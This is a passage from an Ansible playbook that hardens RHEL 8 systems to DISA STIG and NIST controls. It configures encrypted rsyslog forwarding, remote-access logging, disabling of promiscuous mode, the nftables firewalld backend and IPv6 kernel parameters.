  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Check if the parameter
      $DefaultNetstreamDriver is configured correctly in /etc/rsyslog.conf
    ansible.builtin.lineinfile:
      path: /etc/rsyslog.conf
      regexp: ^\s*{{ &quot;$DefaultNetstreamDriver&quot;| regex_escape }}\s+gtls$
      state: absent
    check_mode: true
    changed_when: false
    register: _config_file_correctly
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_defaultnetstreamdriver

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Check if the parameter
      $DefaultNetstreamDriver is configured correctly in /etc/rsyslog.d
    ansible.builtin.find:
      paths:
      - /etc/rsyslog.d
      contains: ^\s*{{ &quot;$DefaultNetstreamDriver&quot;| regex_escape }}\s+gtls$
    register: _config_dir_correctly
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_defaultnetstreamdriver

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records
    block:

    - name: Deduplicate values from /etc/rsyslog.conf
      ansible.builtin.lineinfile:
        path: /etc/rsyslog.conf
        create: false
        regexp: (?i)^\s*{{ &quot;$DefaultNetstreamDriver&quot;| regex_escape }}\s+
        state: absent

    - name: Check if /etc/rsyslog.d exists
      ansible.builtin.stat:
        path: /etc/rsyslog.d
      register: _etc_rsyslog_d_exists

    - name: Check if the parameter $DefaultNetstreamDriver is present in /etc/rsyslog.d
      ansible.builtin.find:
        paths: /etc/rsyslog.d
        recurse: 'yes'
        follow: 'no'
        contains: ^\s*{{ &quot;$DefaultNetstreamDriver&quot;| regex_escape }}\s+
      register: _etc_rsyslog_d_has_parameter
      when: _etc_rsyslog_d_exists.stat.isdir is defined and _etc_rsyslog_d_exists.stat.isdir

    - name: Remove parameter from files in /etc/rsyslog.d
      ansible.builtin.lineinfile:
        path: '{{ item.path }}'
        create: false
        regexp: (?i)^\s*{{ &quot;$DefaultNetstreamDriver&quot;| regex_escape }}\s+
        state: absent
      with_items: '{{ _etc_rsyslog_d_has_parameter.files | default([]) }}'
      when: _etc_rsyslog_d_has_parameter.matched &gt; 0

    - name: Insert correct line to /etc/rsyslog.conf
      ansible.builtin.lineinfile:
        path: /etc/rsyslog.conf
        create: true
        regexp: (?i)^\s*{{ &quot;$DefaultNetstreamDriver&quot;| regex_escape }}\s+
        line: $DefaultNetstreamDriver gtls
        state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    - (_config_file_correctly.found == 0 and _config_dir_correctly.matched == 0) or
      ((_config_file_has_parameter.found | int) + (_config_dir_has_parameter.matched
      | int)) != 1
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_defaultnetstreamdriver

  - name: 'Ensure remote access methods are monitored in Rsyslog: Set facts'
    ansible.builtin.set_fact:
      conf_files:
      - /etc/rsyslog.conf
      remote_methods:
      - selector: auth.*
        regexp: ^[^#]*auth\.\*.*$
        location: /var/log/secure
      - selector: authpriv.*
        regexp: ^[^#]*authpriv\.\*.*$
        location: /var/log/secure
      - selector: daemon.*
        regexp: ^[^#]*daemon\.\*.*$
        location: /var/log/messages
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010070
    - NIST-800-53-AC-17(1)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_remote_access_monitoring

  - name: 'Ensure remote access methods are monitored in Rsyslog: Ensure rsyslog.conf
      exists'
    ansible.builtin.file:
      path: '{{ conf_files.0 }}'
      state: touch
      access_time: preserve
      modification_time: preserve
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010070
    - NIST-800-53-AC-17(1)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_remote_access_monitoring

  - name: 'Ensure remote access methods are monitored in Rsyslog: Gather conf.d files'
    ansible.builtin.find:
      patterns:
      - '*.conf'
      paths:
      - /etc/rsyslog.d
    register: rsyslogd
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010070
    - NIST-800-53-AC-17(1)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_remote_access_monitoring

  - name: 'Ensure remote access methods are monitored in Rsyslog: Set conf file(s)'
    ansible.builtin.set_fact:
      conf_files: '{{ conf_files + [item.path] }}'
    loop: '{{ rsyslogd.files }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    - rsyslogd.matched &gt; 0
    tags:
    - DISA-STIG-RHEL-08-010070
    - NIST-800-53-AC-17(1)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_remote_access_monitoring

  - name: 'Ensure remote access methods are monitored in Rsyslog: Check for existing
      values'
    ansible.builtin.lineinfile:
      path: '{{ item.1 }}'
      regexp: '{{ item.0.regexp }}'
      state: absent
    check_mode: true
    changed_when: false
    register: remote_method_values
    loop: '{{ remote_methods|product(conf_files)|list }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010070
    - NIST-800-53-AC-17(1)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_remote_access_monitoring

  - name: 'Ensure remote access methods are monitored in Rsyslog: Configure'
    ansible.builtin.lineinfile:
      path: /etc/rsyslog.conf
      line: '{{ item.item.0.selector }} {{ item.item.0.location }}'
      insertafter: ^.*\/var\/log\/secure.*$
      create: true
    loop: '{{ remote_method_values.results }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    - item.found == 0
    tags:
    - DISA-STIG-RHEL-08-010070
    - NIST-800-53-AC-17(1)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_remote_access_monitoring

  - name: Set rsyslog remote loghost
    ansible.builtin.lineinfile:
      dest: /etc/rsyslog.conf
      regexp: ^\*\.\*
      line: '*.* @@{{ rsyslog_remote_loghost_address }}'
      create: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030690
    - NIST-800-53-AU-4(1)
    - NIST-800-53-AU-9(2)
    - NIST-800-53-CM-6(a)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - rsyslog_remote_loghost

  - name: Ensure System is Not Acting as a Network Sniffer - Gather network interfaces
    ansible.builtin.command:
      cmd: ip -o link show
    register: network_interfaces
    when: ansible_virtualization_type not in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;,
      &quot;container&quot;]
    tags:
    - DISA-STIG-RHEL-08-040330
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(2)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MA-3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.5
    - low_complexity
    - low_disruption
    - medium_severity
    - network_sniffer_disabled
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure System is Not Acting as a Network Sniffer - Disable promiscuous mode
    ansible.builtin.command:
      cmd: ip link set dev {{ (item.split(':')[1] | trim).split('@')[0] }} multicast
        off promisc off
    loop: '{{ network_interfaces.stdout_lines }}'
    when:
    - ansible_virtualization_type not in [&quot;docker&quot;, &quot;lxc&quot;, &quot;openvz&quot;, &quot;podman&quot;, &quot;container&quot;]
    - network_interfaces.stdout_lines is defined and item.split(':') | length &gt;= 3
    tags:
    - DISA-STIG-RHEL-08-040330
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(2)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-MA-3
    - PCI-DSSv4-1.4
    - PCI-DSSv4-1.4.5
    - low_complexity
    - low_disruption
    - medium_severity
    - network_sniffer_disabled
    - no_reboot_needed
    - restrict_strategy

  - name: Setting unquoted shell-style assignment of 'FirewallBackend' to 'nftables'
      in '/etc/firewalld/firewalld.conf'
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/firewalld/firewalld.conf
        create: true
        regexp: (?i)^\s*FirewallBackend=
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/firewalld/firewalld.conf
      ansible.builtin.lineinfile:
        path: /etc/firewalld/firewalld.conf
        create: true
        regexp: (?i)^\s*FirewallBackend=
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/firewalld/firewalld.conf
      ansible.builtin.lineinfile:
        path: /etc/firewalld/firewalld.conf
        create: true
        regexp: (?i)^\s*FirewallBackend=
        line: FirewallBackend=nftables
        state: present
        insertbefore: ^# FirewallBackend
        validate: /usr/bin/bash -n %s
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;firewalld&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040150
    - NIST-800-53-SC-5
    - firewalld-backend
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Accepting Router Advertisements on All IPv6 Interfaces - Set fact
      for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040261
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_ra

  - name: Configure Accepting Router Advertisements on All IPv6 Interfaces - Find
      all files that contain net.ipv6.conf.all.accept_ra
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv6.conf.all.accept_ra\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040261
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_ra

  - name: Configure Accepting Router Advertisements on All IPv6 Interfaces - Find
      all files that set net.ipv6.conf.all.accept_ra to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv6.conf.all.accept_ra\s*=\s*{{ sysctl_net_ipv6_conf_all_accept_ra_value
        }}$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040261
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_ra

  - name: Configure Accepting Router Advertisements on All IPv6 Interfaces - Comment
      out any occurrences of net.ipv6.conf.all.accept_ra from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv6.conf.all.accept_ra
      replace: '#net.ipv6.conf.all.accept_ra'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-040261
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_ra

  - name: Configure Accepting Router Advertisements on All IPv6 Interfaces - Comment
      out any occurrences of net.ipv6.conf.all.accept_ra from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv6.conf.all.accept_ra
      replace: '#net.ipv6.conf.all.accept_ra'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040261
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_ra

  - name: Configure Accepting Router Advertisements on All IPv6 Interfaces - Ensure
      sysctl net.ipv6.conf.all.accept_ra is set
    ansible.posix.sysctl:
      name: net.ipv6.conf.all.accept_ra
      value: '{{ sysctl_net_ipv6_conf_all_accept_ra_value }}'
      sysctl_file: /etc/sysctl.d/net_ipv6_conf_all_accept_ra.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040261
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_ra

  - name: Disable Accepting ICMP Redirects for All IPv6 Interfaces - Set fact for
      sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040280
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_redirects

  - name: Disable Accepting ICMP Redirects for All IPv6 Interfaces - Find all files
      that contain net.ipv6.conf.all.accept_redirects
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv6.conf.all.accept_redirects\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040280
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_redirects

  - name: Disable Accepting ICMP Redirects for All IPv6 Interfaces - Find all files
      that set net.ipv6.conf.all.accept_redirects to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv6.conf.all.accept_redirects\s*=\s*{{ sysctl_net_ipv6_conf_all_accept_redirects_value
        }}$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040280
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_redirects

  - name: Disable Accepting ICMP Redirects for All IPv6 Interfaces - Comment out any
      occurrences of net.ipv6.conf.all.accept_redirects from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv6.conf.all.accept_redirects
      replace: '#net.ipv6.conf.all.accept_redirects'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-040280
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_redirects

  - name: Disable Accepting ICMP Redirects for All IPv6 Interfaces - Comment out any
      occurrences of net.ipv6.conf.all.accept_redirects from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv6.conf.all.accept_redirects
      replace: '#net.ipv6.conf.all.accept_redirects'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040280
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_redirects

  - name: Disable Accepting ICMP Redirects for All IPv6 Interfaces - Ensure sysctl
      net.ipv6.conf.all.accept_redirects is set
    ansible.posix.sysctl:
      name: net.ipv6.conf.all.accept_redirects
      value: '{{ sysctl_net_ipv6_conf_all_accept_redirects_value }}'
      sysctl_file: /etc/sysctl.d/net_ipv6_conf_all_accept_redirects.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040280
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_redirects

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on all IPv6
      Interfaces - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040240
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on all IPv6
      Interfaces - Find all files that contain net.ipv6.conf.all.accept_source_route
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv6.conf.all.accept_source_route\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040240
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on all IPv6
      Interfaces - Find all files that set net.ipv6.conf.all.accept_source_route to
      correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv6.conf.all.accept_source_route\s*=\s*{{ sysctl_net_ipv6_conf_all_accept_source_route_value
        }}$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040240
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on all IPv6
      Interfaces - Comment out any occurrences of net.ipv6.conf.all.accept_source_route
      from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv6.conf.all.accept_source_route
      replace: '#net.ipv6.conf.all.accept_source_route'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-040240
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on all IPv6
      Interfaces - Comment out any occurrences of net.ipv6.conf.all.accept_source_route
      from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv6.conf.all.accept_source_route
      replace: '#net.ipv6.conf.all.accept_source_route'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040240
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_source_route

  - name: Disable Kernel Parameter for Accepting Source-Routed Packets on all IPv6
      Interfaces - Ensure sysctl net.ipv6.conf.all.accept_source_route is set
    ansible.posix.sysctl:
      name: net.ipv6.conf.all.accept_source_route
      value: '{{ sysctl_net_ipv6_conf_all_accept_source_route_value }}'
      sysctl_file: /etc/sysctl.d/net_ipv6_conf_all_accept_source_route.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040240
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_accept_source_route

  - name: Disable Kernel Parameter for IPv6 Forwarding - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040260
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_forwarding

  - name: Disable Kernel Parameter for IPv6 Forwarding - Find all files that contain
      net.ipv6.conf.all.forwarding
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv6.conf.all.forwarding\s*=\s*.*$'
    register: find_all_values
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040260
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_forwarding

  - name: Disable Kernel Parameter for IPv6 Forwarding - Find all files that set net.ipv6.conf.all.forwarding
      to correct value
    ansible.builtin.shell:
      cmd: find -L {{ sysctl_paths | join(&quot; &quot;) }} -type f -name '*.conf' | xargs grep
        -HP '^\s*net.ipv6.conf.all.forwarding\s*=\s*{{ sysctl_net_ipv6_conf_all_forwarding_value
        }}$'
    register: find_correct_value
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040260
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_forwarding

  - name: Disable Kernel Parameter for IPv6 Forwarding - Comment out any occurrences
      of net.ipv6.conf.all.forwarding from config files
    ansible.builtin.replace:
      path: '{{ item | split(&quot;:&quot;) | first }}'
      regexp: ^[\s]*net.ipv6.conf.all.forwarding
      replace: '#net.ipv6.conf.all.forwarding'
    loop: '{{ find_all_values.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_correct_value.stdout_lines | length == 0 or find_all_values.stdout_lines
      | length &gt; find_correct_value.stdout_lines | length
    tags:
    - DISA-STIG-RHEL-08-040260
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_forwarding

  - name: Disable Kernel Parameter for IPv6 Forwarding - Comment out any occurrences
      of net.ipv6.conf.all.forwarding from /etc/sysctl.conf
    ansible.builtin.replace:
      path: '{{ item }}'
      regexp: ^[\s]*net.ipv6.conf.all.forwarding
      replace: '#net.ipv6.conf.all.forwarding'
    with_fileglob:
    - /etc/sysctl.conf
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040260
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_forwarding

  - name: Disable Kernel Parameter for IPv6 Forwarding - Ensure sysctl net.ipv6.conf.all.forwarding
      is set
    ansible.posix.sysctl:
      name: net.ipv6.conf.all.forwarding
      value: '{{ sysctl_net_ipv6_conf_all_forwarding_value }}'
      sysctl_file: /etc/sysctl.d/net_ipv6_conf_all_forwarding.conf
      state: present
      reload: true
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040260
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - reboot_required
    - sysctl_net_ipv6_conf_all_forwarding

  - name: Disable Accepting Router Advertisements on all IPv6 Interfaces by Default
      - Set fact for sysctl paths
    ansible.builtin.set_fact:
      sysctl_paths:
      - /etc/sysctl.d/
      - /run/sysctl.d/
      - /usr/local/lib/sysctl.d/
      - /usr/lib/sysctl.d/
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040262
    - NIST-800-171-3.1.20
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - disable_strategy
    - low_complexity
